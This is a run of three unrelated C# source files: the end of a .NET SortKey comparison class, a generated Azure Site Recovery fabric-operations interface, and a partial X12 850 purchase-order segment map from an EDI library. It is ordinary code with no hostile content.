current instance // of SortKey. // //////////////////////////////////////////////////////////////////////// public virtual String OriginalString { get { return (m_String); } } //////////////////////////////////////////////////////////////////////// // // GetKeyData // // Returns a byte array representing the current instance of the // sort key. // //////////////////////////////////////////////////////////////////////// public virtual byte[] KeyData { get { return (byte[])(m_KeyData.Clone()); } } //////////////////////////////////////////////////////////////////////// // // Compare // // Compares the two sort keys. Returns 0 if the two sort keys are // equal, a number less than 0 if sortkey1 is less than sortkey2, // and a number greater than 0 if sortkey1 is greater than sortkey2. // //////////////////////////////////////////////////////////////////////// public static int Compare(SortKey sortkey1, SortKey sortkey2) { if (sortkey1==null || sortkey2==null) { throw new ArgumentNullException((sortkey1==null ? "sortkey1": "sortkey2")); } Contract.EndContractBlock(); byte[] key1Data = sortkey1.m_KeyData; byte[] key2Data = sortkey2.m_KeyData; Contract.Assert(key1Data!=null, "key1Data!=null"); Contract.Assert(key2Data!=null, "key2Data!=null"); if (key1Data.Length == 0) { if (key2Data.Length == 0) { return (0); } return (-1); } if (key2Data.Length == 0) { return (1); } int compLen = (key1Data.Length<key2Data.Length)?key1Data.Length:key2Data.Length; for (int i=0; i<compLen; i++) { if (key1Data[i]>key2Data[i]) { return (1); } if (key1Data[i]<key2Data[i]) { return (-1); } } return 0; } //////////////////////////////////////////////////////////////////////// // // Equals // // Implements Object.Equals(). Returns a boolean indicating whether // or not object refers to the same SortKey as the current instance. // //////////////////////////////////////////////////////////////////////// public override bool Equals(Object value) { SortKey that = value as SortKey; if (that != null) { return Compare(this, that) == 0; } return (false); } //////////////////////////////////////////////////////////////////////// // // GetHashCode // // Implements Object.GetHashCode(). Returns the hash code for the // SortKey. The hash code is guaranteed to be the same for // SortKey A and B where A.Equals(B) is true. // //////////////////////////////////////////////////////////////////////// public override int GetHashCode() { return (CompareInfo.GetCompareInfo( this.localeName).GetHashCodeOfString(this.m_String, this.options)); } //////////////////////////////////////////////////////////////////////// // // ToString // // Implements Object.ToString(). Returns a string describing the // SortKey. // //////////////////////////////////////////////////////////////////////// public override String ToString() { return ("SortKey - " + localeName + ", " + options + ", " + m_String); } } }
// // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Warning: This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if the // code is regenerated. using System; using System.Linq; using System.Threading; using System.Threading.Tasks; using Microsoft.Azure.Management.SiteRecovery.Models; namespace Microsoft.Azure.Management.SiteRecovery { /// <summary> /// Definition of fabric operations for the Site Recovery extension. /// </summary> public partial interface IFabricOperations { /// <summary> /// Creates a Fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Input to create fabric /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> BeginCreatingAsync(string fabricName, FabricCreationInput input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Deletes a Fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Fabric deletion input. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> BeginDeletingAsync(string fabricName, FabricDeletionInput input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Deploy a Process Server. /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Input to deploy a Process Server. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> BeginDeployProcessServerAsync(string fabricName, DeployProcessServerRequest input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Purges a Fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> BeginPurgingAsync(string fabricName, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Performs reassociate gateway operation on a fabric. /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Input to reassociate a gateway. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> BeginReassociateGatewayAsync(string fabricName, FailoverProcessServerRequest input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Renews certificates of a Fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> BeginRenewCertificateAsync(string fabricName, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Creates a fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Input to create fabric /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> CreateAsync(string fabricName, FabricCreationInput input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Deletes a fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='fabricDeletionInput'> /// Fabric deletion input. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> DeleteAsync(string fabricName, FabricDeletionInput fabricDeletionInput, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Deploy a Process Server. /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Input to deploy a Process Server. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> DeployProcessServerAsync(string fabricName, DeployProcessServerRequest input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Get the server object by Id. /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// The response model for the fabric object /// </returns> Task<FabricResponse> GetAsync(string fabricName, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// The Get Operation Status operation returns the status of the /// specified operation. After calling an asynchronous operation, you /// can call Get Operation Status to determine whether the operation /// has succeeded, failed, or is still in progress. /// </summary> /// <param name='operationStatusLink'> /// Location value returned by the Begin operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for fabric long running operations. /// </returns> Task<FabricOperationResponse> GetCreateStatusAsync(string operationStatusLink, CancellationToken cancellationToken); /// <summary> /// The Get Operation Status operation returns the status of the /// specified operation. After calling an asynchronous operation, you /// can call Get Operation Status to determine whether the operation /// has succeeded, failed, or is still in progress. /// </summary> /// <param name='operationStatusLink'> /// Location value returned by the Begin operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> GetDeleteStatusAsync(string operationStatusLink, CancellationToken cancellationToken); /// <summary> /// The Get Operation Status operation returns the status of the /// specified operation. After calling an asynchronous operation, you /// can call Get Operation Status to determine whether the operation /// has succeeded, failed, or is still in progress. /// </summary> /// <param name='operationStatusLink'> /// Location value returned by the Begin operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<DeployProcessServerOperationResponse> GetDeployProcessServerStatusAsync(string operationStatusLink, CancellationToken cancellationToken); /// <summary> /// The Get Operation Status operation returns the status of the /// specified operation. After calling an asynchronous operation, you /// can call Get Operation Status to determine whether the operation /// has succeeded, failed, or is still in progress. /// </summary> /// <param name='operationStatusLink'> /// Location value returned by the Begin operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> GetPurgeStatusAsync(string operationStatusLink, CancellationToken cancellationToken); /// <summary> /// The Get Operation Status operation returns the status of the /// specified operation. After calling an asynchronous operation, you /// can call Get Operation Status to determine whether the operation /// has succeeded, failed, or is still in progress. /// </summary> /// <param name='operationStatusLink'> /// Location value returned by the Begin operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<ReassociateGatewayOperationResponse> GetReassociateGatewayStatusAsync(string operationStatusLink, CancellationToken cancellationToken); /// <summary> /// The Get Operation Status operation returns the status of the /// specified operation. After calling an asynchronous operation, you /// can call Get Operation Status to determine whether the operation /// has succeeded, failed, or is still in progress. /// </summary> /// <param name='operationStatusLink'> /// Location value returned by the Begin operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for fabric long running operations. /// </returns> Task<FabricOperationResponse> GetRenewCertificateStatusAsync(string operationStatusLink, CancellationToken cancellationToken); /// <summary> /// Get the list of all fabrics under the vault. /// </summary> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// The response model for the list servers operation. /// </returns> Task<FabricListResponse> ListAsync(CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Purges a fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> PurgeAsync(string fabricName, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Performs reassociate gateway operation on a fabric. /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='input'> /// Input to reassociate a gateway. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> ReassociateGatewayAsync(string fabricName, FailoverProcessServerRequest input, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); /// <summary> /// Renews certificates of a Fabric /// </summary> /// <param name='fabricName'> /// Fabric Name. /// </param> /// <param name='customRequestHeaders'> /// Request header parameters. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response for long running operations. /// </returns> Task<LongRunningOperationResponse> RenewCertificateAsync(string fabricName, CustomRequestHeaders customRequestHeaders, CancellationToken cancellationToken); } }
using EdiEngine.Common.Enums; using EdiEngine.Common.Definitions; using EdiEngine.Standards.X12_004010.Segments; namespace EdiEngine.Standards.X12_004010.Maps { public class M_850 : MapLoop { public M_850() : base(null) { Content.AddRange(new MapBaseEntity[] { new BEG() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new TAX() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new FOB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CTP() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PAM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new CSH() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new TC2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_SAC(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new ITD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DIS() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new INC() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new LDT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new LIN() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PID() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 40 }, new PWK() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new PKG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new TD1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new TD5() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new MAN() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new PCT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CTB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new TXI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_AMT(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_N9(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new L_N1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new L_LM(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_SPI(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_ADV(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_PO1(this) { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 100000 }, new L_CTT(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } //1000 public class L_SAC : MapLoop { public L_SAC(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SAC() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } } //2000 public class L_AMT : MapLoop { public L_AMT(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new AMT() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new PCT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_FA1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //2100 public class L_FA1 : MapLoop { public L_FA1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new FA1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new FA2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //3000 public class L_N9 : MapLoop { public L_N9(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N9() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, }); } } //4000 public class L_N1 : MapLoop { public L_N1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new NX2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new FOB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TD1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new TD5() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new PKG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, }); } } //5000 public class L_LM : MapLoop { public L_LM(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //6000 public class L_SPI : MapLoop { public L_SPI(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SPI() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 50 }, new L_N1_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new L_CB1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //6100 public class L_N1_1 : MapLoop { public L_N1_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new G61() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 50 }, }); } } //6200 public class L_CB1 : MapLoop { public L_CB1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new CB1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new LDT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 50 }, }); } } //7000 public class L_ADV : MapLoop { public L_ADV(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new ADV() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MTX() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8000 public class L_PO1 : MapLoop { public L_PO1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new PO1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LIN() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new CN1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new PO3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new L_CTP(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PAM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 40 }, new L_PID(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new PWK() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new PO4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new L_SAC_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new IT8() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new CSH() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new ITD() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new DIS() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 20 }, new INC() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TAX() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new FOB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SDQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 500 }, new IT3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new TC2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new TD1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TD5() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new PCT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MAN() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SPI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new TXI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new CTB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_QTY(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_SCH(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new L_PKG(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new LS() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new L_LDT(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new LE() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new L_N9_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new L_N1_2(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new L_SLN(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new L_AMT_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_LM_2(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8100 public class L_CTP : MapLoop { public L_CTP(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new CTP() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } } //8150 public class L_PID : MapLoop { public L_PID(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new PID() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, }); } } //8200 public class L_SAC_1 : MapLoop { public L_SAC_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SAC() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new CTP() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } } //8250 public class L_QTY : MapLoop { public L_QTY(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new QTY() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8300 public class L_SCH : MapLoop { public L_SCH(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SCH() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new TD1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new TD5() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8350 public class L_PKG : MapLoop { public L_PKG(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new PKG() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8400 public class L_LDT : MapLoop { public L_LDT(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LDT() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new QTY() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new L_LM_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8410 public class L_LM_1 : MapLoop { public L_LM_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8500 public class L_N9_1 : MapLoop { public L_N9_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N9() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MEA() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 40 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, }); } } //8600 public class L_N1_2 : MapLoop { public L_N1_2(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new QTY() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new NX2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new FOB() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new SCH() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new TD1() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new TD5() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new TD4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new PKG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 200 }, new L_LDT_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8610 public class L_LDT_1 : MapLoop { public L_LDT_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LDT() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new MAN() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new QTY() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 5 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, }); } } //8700 public class L_SLN : MapLoop { public L_SLN(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SLN() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new PID() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1000 }, new PO3() { ReqDes = 